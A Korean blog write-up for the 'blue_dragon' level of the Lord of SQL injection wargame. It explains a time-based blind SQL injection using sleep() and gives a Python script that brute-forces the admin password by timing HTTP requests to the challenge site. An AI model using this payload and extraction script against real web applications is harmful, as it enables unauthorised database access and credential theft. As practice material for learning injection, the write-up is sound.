티스토리 뷰
62번째 글.
1. 코드 분석
특이한 것은 쿼리를 날리고 single quote와 \를 필터링하고 있었다. (이 사실을 찾는데 오래걸림;; 항상 넓게 보자)
그 외에 특별한 점은 없었다.
2. Exploit
위에서 말했듯이 쿼리를 날리고 필터링하기 때문에 sleep() 함수를 이용해서 비밀번호를 찾을 수 있었다.
?pw=' or if(id='admin' and length(pw)=특정 숫자,sleep(5),1)%23
이렇게 하면 pw의 length가 brute force한 값과 맞으면 sleep이 일어나서
쿼리를 보낸 이후에 필터링이 돼도 내가 원하는 값을 알아낼 수 있다.
import requests
import string
import time
sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSID'}
admin_password = ''
ascii_printable = string.printable
## get password length
for i in range(100):
url = f"https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?pw=%27%20or%20if(id=%27admin%27%20and%20length(pw)={i},sleep(5),1)%23"
start_point = time.time()
res = sess.get(url, headers=headers)
end_point = time.time()
if(end_point - start_point >3):
print('Password length is ', i)
password_length = i
break
## get password
for i in range(1,password_length+1):
for j in ascii_printable:
url = f"https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?pw=%27%20or%20if(id=%27admin%27%20and%20substr(pw,{i},1)='{j}',sleep(5),1)%23"
start_point = time.time()
res = sess.get(url, headers=headers)
end_point = time.time()
if(end_point - start_point >3):
admin_password = admin_password+j
print(admin_password)
break
print("Admin Password is " + admin_password)
'writeup > LOS' 카테고리의 다른 글
[Lord of SQL injection] phantom (0) | 2021.08.16 |
---|---|
[Lord of SQL injection] frankenstein (0) | 2021.08.15 |
[Lord of SQL injection] red_dragon (0) | 2021.08.05 |
[Lord of SQL injection] green_dragon (0) | 2021.08.02 |
[Lord of SQL injection] evil_wizard (0) | 2021.07.29 |
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- 드림핵
- dreamhack web-alasql
- webhacking.kr
- 해커팩토리
- dreamhack padding oracle
- csp bypass
- LFI vulnerability
- Lord of SQL injection
- csp
- 웹해킹
- alasql
- blind injection
- DreamHack
- hack the box
- php LFI
- CSS Injection
- htb Windows Fundametals
- 드림핵 DOM XSS
- xxe injection
- WebHacking
- Windows Fundamentals
- dreamhack DOM XSS
- SQL Injection
- dreamhack Relative Path Overwrite
- htb
- dreamhack CSS Injection
- 드림핵 Relative Path Overwrite
- hackerfactory
- wargame
- 드림핵 padding oracle
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
글 보관함